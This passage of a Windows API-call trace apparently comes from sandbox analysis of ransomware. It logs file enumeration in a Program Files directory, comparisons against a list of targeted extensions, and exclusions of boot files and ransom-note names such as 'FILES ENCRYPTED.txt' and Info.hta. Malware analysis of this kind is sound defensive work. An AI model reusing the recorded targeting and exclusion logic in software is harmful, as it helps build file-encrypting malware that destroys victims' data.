(lpString1=".3fr", lpString2=".avi") returned -1 [0089.814] lstrlenW (lpString=".3g2") returned 4 [0089.814] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0089.814] lstrlenW (lpString=".3gp") returned 4 [0089.814] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0089.814] lstrlenW (lpString=".7z") returned 3 [0089.814] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.814] lstrlenW (lpString=".accda") returned 6 [0089.814] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1 [0089.814] lstrlenW (lpString=".accdb") returned 6 [0089.814] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1 [0089.814] lstrlenW (lpString=".accdc") returned 6 [0089.814] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1 [0089.815] lstrlenW (lpString=".accde") returned 6 [0089.815] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1 [0089.815] lstrlenW (lpString=".accdt") returned 6 [0089.815] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1 [0089.815] lstrlenW (lpString=".accdw") returned 6 [0089.815] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1 [0089.815] lstrlenW (lpString=".adb") returned 4 [0089.815] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0089.815] lstrlenW (lpString=".adp") returned 4 [0089.815] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0089.815] lstrlenW (lpString=".ai") returned 3 [0089.815] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0089.815] lstrlenW (lpString=".ai3") returned 4 [0089.815] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0089.815] lstrlenW (lpString=".ai4") returned 4 [0089.815] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0089.815] lstrlenW (lpString=".ai5") returned 4 [0089.815] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0089.815] lstrlenW (lpString=".ai6") returned 4 [0089.815] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0089.815] lstrlenW (lpString=".ai7") returned 4 [0089.815] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0089.815] lstrlenW (lpString=".ai8") returned 4 [0089.815] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".anim") returned 5 [0089.816] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1 [0089.816] lstrlenW (lpString=".arw") returned 4 [0089.816] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".as") returned 3 [0089.816] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0089.816] lstrlenW (lpString=".asa") returned 4 [0089.816] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".asc") returned 4 [0089.816] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".ascx") returned 5 [0089.816] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1 [0089.816] lstrlenW (lpString=".asm") returned 4 [0089.816] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".asmx") returned 5 [0089.816] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1 [0089.816] lstrlenW (lpString=".asp") returned 4 [0089.816] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".aspx") returned 5 [0089.816] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1 [0089.816] lstrlenW (lpString=".asr") returned 4 [0089.816] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".asx") returned 4 [0089.816] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0089.816] lstrlenW (lpString=".avi") returned 4 [0089.817] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0089.817] lstrlenW (lpString="boxed-delete.avi") returned 16 [0089.817] lstrlenW (lpString=".kr") returned 3 [0089.817] lstrcmpiW (lpString1=".kr", lpString2="avi") returned -1 [0089.817] lstrlenW (lpString="boxed-delete.avi") returned 16 [0089.817] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-delete.avi") returned -1 [0089.817] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-delete.avi") returned -1 [0089.817] lstrcmpiW (lpString1="ntldr", lpString2="boxed-delete.avi") returned 1 [0089.817] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-delete.avi") returned 1 [0089.817] lstrcmpiW (lpString1="io.sys", lpString2="boxed-delete.avi") returned 1 [0089.817] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="boxed-delete.avi") returned 1 [0089.817] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-delete.avi") returned 1 [0089.817] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="boxed-delete.avi") returned 1 [0089.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0089.817] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0089.817] lstrlenW (lpString="boxed-join.avi") returned 14 [0089.817] lstrlenW (lpString=".1cd") returned 4 [0089.817] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.817] lstrlenW (lpString=".3ds") returned 4 [0089.817] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0089.817] lstrlenW (lpString=".3fr") returned 4 [0089.817] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0089.818] lstrlenW (lpString=".3g2") returned 4 [0089.818] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0089.818] lstrlenW (lpString=".3gp") returned 4 [0089.818] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0089.818] lstrlenW (lpString=".7z") returned 3 [0089.818] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.818] lstrlenW (lpString=".accda") returned 6 [0089.818] lstrcmpiW (lpString1=".accda", lpString2="in.avi") returned -1 [0089.818] lstrlenW (lpString=".accdb") returned 6 [0089.818] lstrcmpiW (lpString1=".accdb", lpString2="in.avi") returned -1 [0089.818] lstrlenW (lpString=".accdc") returned 6 [0089.818] lstrcmpiW (lpString1=".accdc", lpString2="in.avi") returned -1 [0089.818] lstrlenW (lpString=".accde") returned 6 [0089.818] lstrcmpiW (lpString1=".accde", lpString2="in.avi") returned -1 [0089.818] lstrlenW (lpString=".accdt") returned 6 [0089.818] lstrcmpiW (lpString1=".accdt", lpString2="in.avi") returned -1 [0089.818] lstrlenW (lpString=".accdw") returned 6 [0089.818] lstrcmpiW (lpString1=".accdw", lpString2="in.avi") returned -1 [0089.818] lstrlenW (lpString=".adb") returned 4 [0089.818] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0089.818] lstrlenW (lpString=".adp") returned 4 [0089.818] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0089.818] lstrlenW (lpString=".ai") returned 3 [0089.818] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0089.818] lstrlenW (lpString=".ai3") returned 4 [0089.818] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0089.818] lstrlenW (lpString=".ai4") returned 4 [0089.819] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0089.819] lstrlenW (lpString=".ai5") returned 4 [0089.819] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0089.819] lstrlenW (lpString=".ai6") returned 4 [0089.819] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0089.819] lstrlenW (lpString=".ai7") returned 4 [0089.819] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0089.819] lstrlenW (lpString=".ai8") returned 4 [0089.819] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0089.819] lstrlenW (lpString=".anim") returned 5 [0089.819] lstrcmpiW (lpString1=".anim", lpString2="n.avi") returned -1 [0089.820] lstrlenW (lpString=".arw") returned 4 [0089.820] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0089.820] lstrlenW (lpString=".as") returned 3 [0089.821] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0089.821] lstrlenW (lpString=".asa") returned 4 [0089.821] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0089.821] lstrlenW (lpString=".asc") returned 4 [0089.821] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0089.821] lstrlenW (lpString=".ascx") returned 5 [0089.821] lstrcmpiW (lpString1=".ascx", lpString2="n.avi") returned -1 [0089.821] lstrlenW (lpString=".asm") returned 4 [0089.821] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0089.821] lstrlenW (lpString=".asmx") returned 5 [0089.821] lstrcmpiW (lpString1=".asmx", lpString2="n.avi") returned -1 [0089.821] lstrlenW (lpString=".asp") returned 4 [0089.821] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0089.821] lstrlenW (lpString=".aspx") returned 5 [0089.821] lstrcmpiW (lpString1=".aspx", lpString2="n.avi") returned -1 [0089.821] lstrlenW (lpString=".asr") returned 4 [0089.821] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0089.821] lstrlenW (lpString=".asx") returned 4 [0089.821] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0089.821] lstrlenW (lpString=".avi") returned 4 [0089.821] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0089.821] lstrlenW (lpString="boxed-join.avi") returned 14 [0089.821] lstrlenW (lpString=".kr") returned 3 [0089.821] lstrcmpiW (lpString1=".kr", lpString2="avi") returned -1 [0089.821] lstrlenW (lpString="boxed-join.avi") returned 14 [0089.821] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-join.avi") returned -1 [0089.822] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-join.avi") returned -1 [0089.822] lstrcmpiW (lpString1="ntldr", lpString2="boxed-join.avi") returned 1 [0089.822] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-join.avi") returned 1 [0089.822] lstrcmpiW (lpString1="io.sys", lpString2="boxed-join.avi") returned 1 [0089.822] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="boxed-join.avi") returned 1 [0089.822] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-join.avi") returned 1 [0089.822] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="boxed-join.avi") returned 1 [0089.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0089.822] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0089.822] lstrlenW (lpString="boxed-split.avi") returned 15 [0089.822] lstrlenW (lpString=".1cd") returned 4 [0089.822] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.822] lstrlenW (lpString=".3ds") returned 4 [0089.822] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0089.822] lstrlenW (lpString=".3fr") returned 4 [0089.822] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0089.822] lstrlenW (lpString=".3g2") returned 4 [0089.822] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0089.822] lstrlenW (lpString=".3gp") returned 4 [0089.822] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0089.822] lstrlenW (lpString=".7z") returned 3 [0089.823] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.823] lstrlenW (lpString=".accda") returned 6 [0089.823] lstrcmpiW (lpString1=".accda", lpString2="it.avi") returned -1 [0089.823] lstrlenW (lpString=".accdb") returned 6 [0089.823] lstrcmpiW (lpString1=".accdb", lpString2="it.avi") returned -1 [0089.823] lstrlenW (lpString=".accdc") returned 6 [0089.823] lstrcmpiW (lpString1=".accdc", lpString2="it.avi") returned -1 [0089.823] lstrlenW (lpString=".accde") returned 6 [0089.823] lstrcmpiW (lpString1=".accde", lpString2="it.avi") returned -1 [0089.823] lstrlenW (lpString=".accdt") returned 6 [0089.823] lstrcmpiW (lpString1=".accdt", lpString2="it.avi") returned -1 [0089.823] lstrlenW (lpString=".accdw") returned 6 [0089.823] lstrcmpiW (lpString1=".accdw", lpString2="it.avi") returned -1 [0089.823] lstrlenW (lpString=".adb") returned 4 [0089.823] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0089.823] lstrlenW (lpString=".adp") returned 4 [0089.823] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0089.823] lstrlenW (lpString=".ai") returned 3 [0089.823] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0089.823] lstrlenW (lpString=".ai3") returned 4 [0089.823] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0089.823] lstrlenW (lpString=".ai4") returned 4 [0089.823] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0089.823] lstrlenW (lpString=".ai5") returned 4 [0089.824] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".ai6") returned 4 [0089.824] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".ai7") returned 4 [0089.824] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".ai8") returned 4 [0089.824] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".anim") returned 5 [0089.824] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0089.824] lstrlenW (lpString=".arw") returned 4 [0089.824] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".as") returned 3 [0089.824] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0089.824] lstrlenW (lpString=".asa") returned 4 [0089.824] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".asc") returned 4 [0089.824] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".ascx") returned 5 [0089.824] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0089.824] lstrlenW (lpString=".asm") returned 4 [0089.824] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0089.824] lstrlenW (lpString=".asmx") returned 5 [0089.824] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0089.824] lstrlenW (lpString=".asp") returned 4 [0089.824] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0089.825] lstrlenW (lpString=".aspx") returned 5 [0089.825] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0089.825] lstrlenW (lpString=".asr") returned 4 [0089.825] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0089.825] lstrlenW (lpString=".asx") returned 4 [0089.825] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0089.825] lstrlenW (lpString=".avi") returned 4 [0089.825] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0089.825] lstrlenW (lpString="boxed-split.avi") returned 15 [0089.825] lstrlenW (lpString=".kr") returned 3 [0089.825] lstrcmpiW (lpString1=".kr", lpString2="avi") returned -1 [0089.825] lstrlenW (lpString="boxed-split.avi") returned 15 [0089.825] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-split.avi") returned -1 [0089.825] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-split.avi") returned -1 [0089.825] lstrcmpiW (lpString1="ntldr", lpString2="boxed-split.avi") returned 1 [0089.825] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-split.avi") returned 1 [0089.825] lstrcmpiW (lpString1="io.sys", lpString2="boxed-split.avi") returned 1 [0089.825] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="boxed-split.avi") returned 1 [0089.825] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-split.avi") returned 1 [0089.825] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="boxed-split.avi") returned 1 [0089.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0089.825] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0089.825] lstrlenW (lpString="correct.avi") returned 11 [0089.826] lstrlenW (lpString=".1cd") returned 4 [0089.826] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.826] lstrlenW (lpString=".3ds") returned 4 [0089.826] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0089.826] lstrlenW (lpString=".3fr") returned 4 [0089.826] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0089.826] lstrlenW (lpString=".3g2") returned 4 [0089.826] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0089.826] lstrlenW (lpString=".3gp") returned 4 [0089.826] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0089.826] lstrlenW (lpString=".7z") returned 3 [0089.826] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.826] lstrlenW (lpString=".accda") returned 6 [0089.826] lstrcmpiW (lpString1=".accda", lpString2="ct.avi") returned -1 [0089.826] lstrlenW (lpString=".accdb") returned 6 [0089.826] lstrcmpiW (lpString1=".accdb", lpString2="ct.avi") returned -1 [0089.826] lstrlenW (lpString=".accdc") returned 6 [0089.826] lstrcmpiW (lpString1=".accdc", lpString2="ct.avi") returned -1 [0089.826] lstrlenW (lpString=".accde") returned 6 [0089.826] lstrcmpiW (lpString1=".accde", lpString2="ct.avi") returned -1 [0089.826] lstrlenW (lpString=".accdt") returned 6 [0089.826] lstrcmpiW (lpString1=".accdt", lpString2="ct.avi") returned -1 [0089.826] lstrlenW (lpString=".accdw") returned 6 [0089.827] lstrcmpiW (lpString1=".accdw", lpString2="ct.avi") returned -1 [0089.827] lstrlenW (lpString=".adb") returned 4 [0089.827] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".adp") returned 4 [0089.827] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".ai") returned 3 [0089.827] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0089.827] lstrlenW (lpString=".ai3") returned 4 [0089.827] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".ai4") returned 4 [0089.827] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".ai5") returned 4 [0089.827] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".ai6") returned 4 [0089.827] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".ai7") returned 4 [0089.827] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".ai8") returned 4 [0089.827] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".anim") returned 5 [0089.827] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0089.827] lstrlenW (lpString=".arw") returned 4 [0089.827] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0089.827] lstrlenW (lpString=".as") returned 3 [0089.827] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0089.828] lstrlenW (lpString=".asa") returned 4 [0089.828] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0089.828] lstrlenW (lpString=".asc") returned 4 [0089.828] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0089.828] lstrlenW (lpString=".ascx") returned 5 [0089.828] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0089.828] lstrlenW (lpString=".asm") returned 4 [0089.828] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0089.828] lstrlenW (lpString=".asmx") returned 5 [0089.828] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0089.828] lstrlenW (lpString=".asp") returned 4 [0089.828] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0089.828] lstrlenW (lpString=".aspx") returned 5 [0089.828] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0089.828] lstrlenW (lpString=".asr") returned 4 [0089.828] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0089.828] lstrlenW (lpString=".asx") returned 4 [0089.828] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0089.828] lstrlenW (lpString=".avi") returned 4 [0089.828] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0089.828] lstrlenW (lpString="correct.avi") returned 11 [0089.828] lstrlenW (lpString=".kr") returned 3 [0089.828] lstrcmpiW (lpString1=".kr", lpString2="avi") returned -1 [0089.828] lstrlenW (lpString="correct.avi") returned 11 [0089.828] lstrcmpiW (lpString1="boot.ini", lpString2="correct.avi") returned -1 [0089.828] lstrcmpiW (lpString1="bootfont.bin", lpString2="correct.avi") returned -1 [0089.829] lstrcmpiW (lpString1="ntldr", lpString2="correct.avi") returned 1 [0089.829] lstrcmpiW (lpString1="ntdetect.com", lpString2="correct.avi") returned 1 [0089.829] lstrcmpiW (lpString1="io.sys", lpString2="correct.avi") returned 1 [0089.829] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="correct.avi") returned 1 [0089.829] lstrcmpiW (lpString1="Info.hta", lpString2="correct.avi") returned 1 [0089.829] lstrcmpiW (lpString1="WindowsSystem32file.pe32.exe", lpString2="correct.avi") returned 1 [0089.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0089.829] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0089.829] lstrlenW (lpString="delete.avi") returned 10 [0089.829] lstrlenW (lpString=".1cd") returned 4 [0089.829] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0089.829] lstrlenW (lpString=".3ds") returned 4 [0089.829] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0089.829] lstrlenW (lpString=".3fr") returned 4 [0089.829] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0089.829] lstrlenW (lpString=".3g2") returned 4 [0089.829] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0089.829] lstrlenW (lpString=".3gp") returned 4 [0089.829] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0089.829] lstrlenW (lpString=".7z") returned 3 [0089.829] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0089.829] lstrlenW (lpString=".accda") returned 6 [0089.830] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1 [0089.830] lstrlenW (lpString=".accdb") returned 6 [0089.830] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1 [0089.830] lstrlenW (lpString=".accdc") returned 6 [0089.830] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1 [0089.830] lstrlenW (lpString=".accde") returned 6 [0089.830] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1 [0089.830] lstrlenW (lpString=".accdt") returned 6 [0089.830] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1 [0089.830] lstrlenW (lpString=".accdw") returned 6 [0089.830] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1 [0089.830] lstrlenW (lpString=".adb") returned 4 [0089.830] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0089.830] lstrlenW (lpString=".adp") returned 4 [0089.830] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0089.830] lstrlenW (lpString=".ai") returned 3 [0089.830] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0089.830] lstrlenW (lpString=".ai3") returned 4 [0089.830] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0089.830] lstrlenW (lpString=".ai4") returned 4 [0089.830] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0089.830] lstrlenW (lpString=".ai5") returned 4 [0089.830] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0089.830] lstrlenW (lpString=".ai6") returned 4 [0089.830] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0089.830] lstrlenW (lpString=".ai7") returned 4 [0089.830] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".ai8") returned 4 [0089.831] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".anim") returned 5 [0089.831] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1 [0089.831] lstrlenW (lpString=".arw") returned 4 [0089.831] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".as") returned 3 [0089.831] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0089.831] lstrlenW (lpString=".asa") returned 4 [0089.831] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".asc") returned 4 [0089.831] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".ascx") returned 5 [0089.831] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1 [0089.831] lstrlenW (lpString=".asm") returned 4 [0089.831] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".asmx") returned 5 [0089.831] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1 [0089.831] lstrlenW (lpString=".asp") returned 4 [0089.831] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".aspx") returned 5 [0089.831] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1 [0089.831] lstrlenW (lpString=".asr") returned 4 [0089.831] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".asx") returned 4 [0089.831] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0089.831] lstrlenW (lpString=".avi") returned 4 [0089.832] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0089.832] lstrlenW (lpString="delete.avi") returned 10 [0089.832] lstrlenW (lpString=".kr") returned 3 [0089.832] lstrcmpiW (lpString1=".kr", lpString2="avi") returned -1 [0089.832] lstrlenW (lpString="delete.avi") returned 10 [0089.832] lstrcmpiW (lpString1="boot.ini", lpString2="delete.avi") returned -1 [0089.832] lstrcmpiW (lpString1="bootfont.bin", lpString2="delete.avi") returned -1 [0089.832] lstrcmpiW (lpString1="ntldr", lpString2="delete.avi") returned 1 [0089.832] lstrcmpiW (lpString1="ntdetect.com", lpString2="delete.avi") returned 1 [0089.832] lstrcmpiW (lpString1="io.sys", lpString2="delete.avi") returned 1 [0089.832] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="delete.avi") returned 1 [0089.832] lstrcmpiW (lpString1="Info.hta", 